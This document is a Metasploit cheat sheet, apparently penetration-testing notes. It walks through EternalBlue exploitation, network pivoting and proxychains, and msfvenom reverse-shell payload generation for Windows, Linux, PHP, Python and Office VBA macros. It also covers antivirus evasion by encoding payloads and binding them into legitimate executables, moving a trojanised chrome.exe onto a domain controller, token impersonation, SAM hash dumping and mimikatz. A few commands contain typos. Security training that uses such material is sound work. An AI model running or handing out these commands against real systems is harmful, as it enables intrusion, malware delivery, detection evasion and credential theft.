Most important thing about Metasploit is to understand the purpose of its modules.

[auxiliary] are used to enumeration, scanning and brute force
[exploit] are used to exploit vulnerabilities
[payloads] are used to select payloads for exploits
[Encoders] are used to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them.
[Evasion] are used for AntiVirus evasion.

Listing modules

```
msf6 > show auxiliary
msf6 > show exploit
msf6 > show payloads
```

Search a module for a specific service or string

```
msf6 > search type:auxiliary name:dns
msf6 > search type:exploit name:ftp
```

Listing info about a specific module

```
msf6 > info
```

Selecting an exploit module

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
```

showing the required options of the module

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
```

setting the value of a specific parameter related to a module

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set [parameter][value]
```

Removing the value of a specific parameter related to a module

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > unset [parameter][value]
```

Showing available and compatible payloads for an exploit module

```
msf6 > exploit(windows/http/syncbreeze_bof) > show payloads
```

Running the exploit module and background it once the session opens

```
msf6 > exploit(windows/http/syncbreeze_bof) > exploit -z
```

You could also use [exploit] alone to run the exploit module and interact with the session directly once it opens.

Background a meterpreter session

```
meterpreter > background
[*] Backgrounding session 2...
msf6 > exploit(windows/http/syncbreeze_bof) >
```

Listing currently opened sessions

```
msf6 > exploit(windows/http/syncbreeze_bof) > sessions
```

selecting a specific session

```
msf6 > exploit(windows/http/syncbreeze_bof) > sessions -
i [session-id]
```

Scanning

Port scanning

Use

```
auxiliary/scanner/portscan/tcp
```

Of course, you need to setup the parameters with set and unset commands

View the discovered services after port scanning

```
<msf5 auxiliary(scanner/portscan/tcp) > services>
```

Using nmap with Metasploit

```
db_nmap 192.168.8.2  -A -Pn
```

The syntax is the same for nmap.

Viewing discovered hosts

This is done after you execute nmap from metasploit.

```
hosts
```

Discovering machines running RDP service

```
<use scanner/rdp/rdp_scanner>
```

Network Pivoting

Adding a route to the discovered network

This assumes that you got access to a machine and discovered another network

```
Route add 172.28.128.3 255.255.255.0 1
```

OR

```
Run autoroute -s 172.28.128.3/24
```

OR

```
post/multi/manage/autoroute
```

#or

```
portfwd add -l 3306 -p 3306 -r [ip]
Set SESSION [id]
Set SUBNET [discovered-network-ip]
run
```

Activating socks4 proxy

You will need socks4 proxy in order to run commands against the target [which exists on the internal network you discovered before] from your own machine

```
Use auxiliary/server/socks4a
Set SRVPORT [port]
Run
```

Configuring proxychains

You should configure proxychains if you want to use socks4 proxy.

```
<root@kali:~$Nano /etc/proxychains.conf
And add the following:
Socks4 127.0.0.1 [port]
```

AntiVirus Evasion

Generating an executable shellcode payload with 9 iterations to evade rudimentary anti virus signatures

```
root@kali:~$msfvenom -p windows/shell_reverse_tcp
LHOST=192.168.8.3 LPORT=443 -f exe -e x86/shikata_ga_nai
-i 9 -o shell-code.exe
```

Using an existing executable file to bind the shellcode with it using Meterpreter

```
root@kali:~$msfvenom -p windows/shell_reverse_tcp
LHOST=192.168.8.3 LPORT=443 -f exe -e x86/shikata_ga_nai
-i 9 -x /usr/share/windows-resources/binaries/plink.exe
-o plink.exe
```

Evading detection of anti-virus softwares by enabling stage encoding in meterpreter multi handler

```
msf5 exploit(multi/handler) > set EnableStageEncoding
true
msf5 exploit(multi/handler) > set StageEncoder
x86/shikata_ga_nai
msf5 exploit(multi/handler) > exploit -j
```

Post Exploitation

Launch a script automatically when a meterpreter session is opened. Example listing currently logged on users when the session is opened.

```
msf5 exploit(multi/handler) > set AutoRunScript
windows/gather/enum_logged_on_users
msf5 exploit(multi/handler) > exploit -j
```

Msfvenom

Listing payloads

```
msfvenom -l payloads
```

Listing available formats

```
msfvenom --list formats
```

Generating Linux executable payload

```
msfvenom -p linux/x86/meterpreter/reverse_tcp
LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
```

Generating Windows executable payload

```
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
```

Generating python payload

```
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X
LPORT=XXXX -f raw > rev_shell.py
```

Generating php payload

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X
LPORT=XXXX -f raw > rev_shell.php
```

Generating a payload that will connect back to a meterpreter listener or netcat one

```
root@kali:~$msfvenom -p
linux/x86/meterpreter/reverse_tcp LHOST=10.11.0.4
LPORT=443 -f elf > shell.elf
```

Generating a malicious VBA payload to be used in an office-macro enabled document

```
root@kali:~$msfvenom -p
windows/x86/meterpreter/reverse_tcp LHOST=10.11.0.4
LPORT=443 -f vba > shell.vba
```

Metasploit With Powersploit to enumerate Active Directory

```
load powershell
powershell_import /root/Desktop/PowerView.ps1
powershell_execute Get-NetDomain
```

Enumerating Local Admins

```
Powershell_execute Invoke-EnumerateLocalAdmin
```

Enumerating all hosts and domain controllers

```
powershell_import /root/Desktop/HostEnum.ps1
powershell_shell Invoke-HostEnum -Local -Domain
```

Host Recon

```
powershell_import /root/Desktop/HostRecon.ps1
powershell_execute Invoke-HostRecon
```

Post exploitation with Metasploit to a domain-joined machine

On Meterpreter

```
meterpreter > use incognito
meterpreter > list_tokens -u
```

The previous command lists all the current tokens of those who logged in before to the machine.

The goal is to find a token belonged to the admin of domain controller.
Once we impersonate the admin token on the domain controller, we need to establish a new session with powershell for complete access.

For this we need the hostname of the current domain controller. We type in meterpreter [shell] to convert to [shell] on the windows

```
C:\Windows\system32>nslookup
set type=all
< _ldap._tcp.dc._msdcs.sandbox.local
```

This will result in the hostname of the domain controller
Establishing new session

```
dcsesh = New-PSSession -Computer SANDBOXDC
Invoke-Command -Session $dcsesh -ScriptBlock {ipconfig}
```

Then we transfer a malicious executable created with [shelter] to the domain controller

```
Copy-Item "C:\Users\Public\chrome.exe" -Destination "C:\Users\Public\" -ToSession $dcsesh
```

In the above case, the malicious file was binded to chrome.exe then we execute it

```
Invoke-Command -Session $dcsesh -ScriptBlock {C:\Users\Public\chrome.exe}
```

And we will receive the reverse connection in our listener.

```
impersonate_token pentesting.local\\Administrator
```

Meterpreter

Listing available commands

```
meterpreter > help
```

Listing the user with which Meterpreter is running

```
meterpreter > getuid
```

Listing running processes on the target

```
meterpreter > ps
```

Migrating to another process

For stability of the session, it's always good idea to migrate metepreter to another process

```
meterpreter > migrate [process-pid]
```

Make sure you don't lose privileges when you migrate to another process with lower privileges.

Dumping hashes from SAM database

```
meterpreter >  hashsump
```

searching for files inside the target machine

```
meterpreter > search -f [file-name]
```

loading a command line shell

```
meterpreter > shell
```

loading a mimikatz

```
meterpreter > kiwi
```

When loading additional tool such as [kiwi] or [python] make sure to use the [help] command to check for additional commands that may have been added for the tool you loaded.

Enumerating shares

```
meterpreter > background
msf6 > use post/windows/gather/enum_shares
```